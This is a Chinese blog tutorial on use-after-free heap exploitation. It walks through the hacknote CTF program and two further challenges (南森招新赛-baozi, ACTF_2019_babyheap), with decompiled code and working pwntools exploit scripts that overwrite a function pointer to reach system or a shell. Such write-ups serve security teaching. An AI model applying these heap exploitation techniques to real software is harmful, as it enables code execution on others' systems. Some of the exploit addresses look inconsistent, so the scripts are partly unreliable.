欢迎光临散文网 会员登陆 & 注册

UAF漏洞利用

2023-03-16 13:57 作者:黑社长  | 我要投稿

UAF

原理

内存块被释放后,其对应的指针没有被设置为 NULL,然后再次申请我们精心的构造的内存块,就能够达到攻击的效果

程序源码

#include <stdio.h>#include <stdlib.h>#include <unistd.h>struct note {          //结构体  void (*printnote)();  char *content;};struct note *notelist[5]; //结构体变量int count = 0;void print_note_content(struct note *this) { puts(this->content); }void add_note() {  int i;  char buf[8];  int size;  if (count > 5) {    puts("Full");    return;  }  for (i = 0; i < 5; i++) {    if (!notelist[i]) {      notelist[i] = (struct note *)malloc(sizeof(struct note));      if (!notelist[i]) {        puts("Alloca Error");        exit(-1);      }      notelist[i]->printnote = print_note_content;      printf("Note size :");      read(0, buf, 8);      size = atoi(buf);      notelist[i]->content = (char *)malloc(size);      if (!notelist[i]->content) {        puts("Alloca Error");        exit(-1);      }      printf("Content :");      read(0, notelist[i]->content, size);      puts("Success !");      count++;      break;    }  }}void del_note() {  char buf[4];  int idx;  printf("Index :");  read(0, buf, 4);  idx = atoi(buf);  if (idx < 0 || idx >= count) {    puts("Out of bound!");    _exit(0);  }  if (notelist[idx]) {    free(notelist[idx]->content);    free(notelist[idx]);    puts("Success");  }}void print_note() {  char buf[4];  int idx;  printf("Index :");  read(0, buf, 4);  idx = atoi(buf);  if (idx < 0 || idx >= count) {    puts("Out of bound!");    _exit(0);  }  if (notelist[idx]) {    notelist[idx]->printnote(notelist[idx]);  }}void magic() { system("cat flag"); }void menu() {  puts("----------------------");  puts("       HackNote       ");  puts("----------------------");  puts(" 1. Add note          ");  puts(" 2. Delete note       ");  puts(" 3. Print note        ");  puts(" 4. Exit              ");  puts("----------------------");  printf("Your choice :");};int main() {  setvbuf(stdout, 0, 2, 0);  setvbuf(stdin, 0, 2, 0);  char buf[4];  while (1) {    menu();    read(0, buf, 4);    switch (atoi(buf)) {    case 1:      add_note();      break;    case 2:      del_note();      break;    case 3:      print_note();      break;    case 4:      exit(0);      break;    default:      puts("Invalid choice");      break;    }  }  return 0;}

利用结构体实现了在chunk的content内容下执行一个puts函数
然后再嵌套一个chunk


这里content内容存放的一个指针

uaf漏洞


free的是两个chunk,没有把两个指针free掉

存在后门函数

利用方式

1.申请 note0,real content size(申请的嵌套chunk的大小) 为 32 (0x20),输入的content为“aaaa” (0x4)(申请的嵌套chunk大小与 note 大小不同 ,所在的 bin 不一样即可)


2.申请 note1,real content size 为 32,输入的content为“bbbb”(大小与 note 大小所在的 bin 不一样即可

3.释放 note0,内存会进入fastbin中,且content chunk和note chunk会进入不同的位置
4.释放 note1

从这里可以看出fastbins储存最大的内存块就是0x40大小的chunk
还有就是申请的嵌套chunk的大小要与外层chunk大小不同就是为了free掉后分配到不同的fastbins的链表中
然后就是申请的chunk最后有个top chunk(135057)

链表的结构


5.申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则:
note2 其实会分配 note1 对应的内存块。
real content 对应的 chunk 其实是 note0。

6.们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 函数。

exp模板

from pwn import *r = process('./hacknote')def addnote(size, content):    r.recvuntil(":")    r.sendline("1")    r.recvuntil(":")    r.sendline(str(size))    r.recvuntil(":")    r.sendline(content)def delnote(idx):    r.recvuntil(":")    r.sendline("2")    r.recvuntil(":")    r.sendline(str(idx))def printnote(idx):    r.recvuntil(":")    r.sendline("3")    r.recvuntil(":")    r.sendline(str(idx))#gdb.attach(r)magic = 0x08048986addnote(32, "aaaa") # add note 0addnote(32, "bbbb") # add note 1delnote(0) # delete note 0delnote(1) # delete note 1addnote(8, p32(magic)) # add note 2printnote(0) # print note 0r.interactive()

例题

南森招新赛-baozi

checksec

ida

从里面并没有找到定义的结构体,这也是正常现象
因为ida不能够还原所有代码
这样的话,在做堆题时,对C语言的要求就不是这么高了,通过调试或者经验就能得知chunk的结构
但如果想清晰地理解一个堆题还是需要加深对源码的理解

main

int __cdecl __noreturn main(int argc, const char **argv, const char **envp){  int v3; // eax  char buf[4]; // [esp+0h] [ebp-10h] BYREF  unsigned int v5; // [esp+4h] [ebp-Ch]  int *v6; // [esp+8h] [ebp-8h]  v6 = &argc;  v5 = __readgsdword(0x14u);  setvbuf(stdout, 0, 2, 0);  setvbuf(stdin, 0, 2, 0);  while ( 1 )  {    menu();           //菜单    read(0, buf, 4u);    v3 = atoi(buf);    if ( v3 == 4 )      exit(0);    if ( v3 > 4 )    {LABEL_12:      puts("Invalid choice");    }    else    {      switch ( v3 )      {        case 3:          print_note(); //print chunk          break;        case 1:          add_note();  //malloc chunk          break;        case 2:          del_note();  //free chunk          break;        default:          goto LABEL_12;      }    }  }}

具体的函数都是知道的

add(add+edit)

unsigned int add_note(){  int v0; // esi  int i; // [esp+Ch] [ebp-1Ch]  int size; // [esp+10h] [ebp-18h]  char buf[8]; // [esp+14h] [ebp-14h] BYREF  unsigned int v5; // [esp+1Ch] [ebp-Ch]  v5 = __readgsdword(0x14u);  if ( count <= 5 )  {    for ( i = 0; i <= 4; ++i )    //申请次数    {      if ( !*((_DWORD *)&notelist + i) )      {        *((_DWORD *)&notelist + i) = malloc(8u);          //malloc chunk        if ( !*((_DWORD *)&notelist + i) )        {          puts("Alloca Error");          exit(-1);        }        **((_DWORD **)&notelist + i) = print_note_content; //chunk中content处的内容(free后fd指针的地址) 这里是        printf("Note size :");        read(0, buf, 8u);        size = atoi(buf);        v0 = *((_DWORD *)&notelist + i);        *(_DWORD *)(v0 + 4) = malloc(size);        //等同于*(*&notelist + i + 4 )=malloc(size)        //在content的第二单位内存的指针中申请chunk(相当于在free后的bk指针的地址处申请chunk)          if ( !*(_DWORD *)(*((_DWORD *)&notelist + i) + 4) )        {          puts("Alloca Error");          exit(-1);        }        printf("Content :");        read(0, *(void **)(*((_DWORD *)&notelist + i) + 4), size);        puts("Success !");        ++count;        return __readgsdword(0x14u) ^ v5;      }    }  }  else  {    puts("Full");  }  return __readgsdword(0x14u) ^ v5;}

delete

unsigned int del_note(){  int v1; // [esp+4h] [ebp-14h]  char buf[4]; // [esp+8h] [ebp-10h] BYREF  unsigned int v3; // [esp+Ch] [ebp-Ch]  v3 = __readgsdword(0x14u);  printf("Index :");  read(0, buf, 4u);  v1 = atoi(buf);  if ( v1 < 0 || v1 >= count )  {    puts("Out of bound!");    _exit(0);  }  if ( *(&notelist + v1) )  {    free(*(*(&notelist + v1) + 4));    //free掉镶嵌的chunk    free(*(&notelist + v1));    //free掉chunk    //没有free掉指针,所以存在uaf    puts("Success");  }  return __readgsdword(0x14u) ^ v3;}

print

unsigned int print_note(){  int v1; // [esp+4h] [ebp-14h]  char buf[4]; // [esp+8h] [ebp-10h] BYREF  unsigned int v3; // [esp+Ch] [ebp-Ch]  v3 = __readgsdword(0x14u);  printf("Index :");  read(0, buf, 4u);  v1 = atoi(buf);  if ( v1 < 0 || v1 >= count )  {    puts("Out of bound!");    _exit(0);  }  if ( *(&notelist + v1) )    (**(&notelist + v1))(*(&notelist + v1));    //print_note_content()函数=puts(*(*(&notelist + v1) + 4))-->这里相当于fd位置为print_note_content函数,bk指针处为参数    //从add里面可以找出来    //**(&notelist + i) = print_note_content;    /*int __cdecl print_note_content(int a1){  return puts(*(a1 + 4));}*/  return __readgsdword(0x14u) ^ v3;}

print_note_content

int __cdecl print_note_content(int a1){  return puts(*(a1 + 4));}

exp

from pwn import *#p=remote("47.99.93.110",10001)p=process('./pwn')elf=ELF('./pwn')context.log_level="debug"def duan():    gdb.attach(p)    pause(0)def add(size,content):    p.recvuntil("Your choice :")    p.sendline("1")    p.recvuntil("Note size :")    p.sendline(str(size))    p.recvuntil("Content :")    p.sendline(content)def delete(index):    p.recvuntil("Your choice :")    p.sendline("2")    p.recvuntil("Index :")    p.sendline(str(index))def show(index):    p.recvuntil("Your choice :")    p.sendline("3")    p.recvuntil("Index :")    p.sendline(str(index))bin_sh=0x602010system=0x8049684print(hex(system))add(0x20,"aaaa")#0add(0x20,"bbbb")#1#duan()delete(1)delete(0)duan()add(0x8,p32(system) + p32(system)) #duan()show(1)p.interactive()

ACTF_2019_babyheap

ida

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3){  int v3; // eax  char buf[24]; // [rsp+10h] [rbp-20h] BYREF  unsigned __int64 v5; // [rsp+28h] [rbp-8h]  v5 = __readfsqword(0x28u);  sub_400907(a1, a2, a3);  while ( 1 )  {    while ( 1 )    {      sub_4009D2();      read(0, buf, 8uLL);      v3 = atoi(buf);      if ( v3 != 2 )        break;      sub_400BAE();    }    if ( v3 == 3 )    {      sub_400C66();    }    else    {      if ( v3 != 1 )        sub_400D18();      sub_400A78();    }  }}

修改后的ida

main

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3){  int v3; // eax  char buf[24]; // [rsp+10h] [rbp-20h] BYREF  unsigned __int64 v5; // [rsp+28h] [rbp-8h]  v5 = __readfsqword(0x28u);  sub_400907(a1, a2, a3);  while ( 1 )  {    while ( 1 )    {      menu();      read(0, buf, 8uLL);      v3 = atoi(buf);      if ( v3 != 2 )        break;      delete();    }    if ( v3 == 3 )    {      show();    }    else    {      if ( v3 != 1 )        exit_0();      add();    }  }}

show

unsigned __int64 sub_400C66(){  int v1; // [rsp+Ch] [rbp-24h]  char buf[24]; // [rsp+10h] [rbp-20h] BYREF  unsigned __int64 v3; // [rsp+28h] [rbp-8h]  v3 = __readfsqword(0x28u);  puts("Please input list index: ");  read(0, buf, 4uLL);  v1 = atoi(buf);  if ( v1 >= 0 && v1 < dword_60204C )  {    if ( *(&ptr + v1) )      (*(*(&ptr + v1) + 1))(**(&ptr + v1));      //这里是执行函数,不过参数在函数体的前面      //也就是fd指针处为参数,bk指针处为函数体  }  else  {    puts("Out of bound!");  }  return __readfsqword(0x28u) ^ v3;}

exp

from pwn import *io=process('./pwn')elf=ELF('./pwn')context(os='linux',arch='amd64',log_level='debug')def duan():    gdb.attach(io)    pause(0)def add(size,content):    io.recvuntil('Your choice: ')    io.sendline(b'1')    io.recvuntil(b'Please input size: \n')    io.sendline(str(size))    io.recvuntil('Please input content: \n')    #io.sendline(content)      io.send(content)def delete(index):    io.recvuntil('Your choice: ')        io.sendline(b'2')    io.recvuntil('Please input list index: \n')    io.sendline(str(index))def show(index):        io.recvuntil('Your choice: ')        io.sendline(b'3')    io.recvuntil('Please input list index: \n')    io.sendline(str(index))system=elf.plt['system']#system=0x400A48bin_sh=0x602010add(0x20,"aaaa")#0add(0x20,"bbbb")#1#add(0x20,"cccc")delete(1)delete(0)add(0x10,p64(bin_sh)+p64(system))#add(0x10,p64(system)+p64(bin_sh))show(1)io.interactive()


UAF漏洞利用的评论 (共 条)

分享到微博请遵守国家法律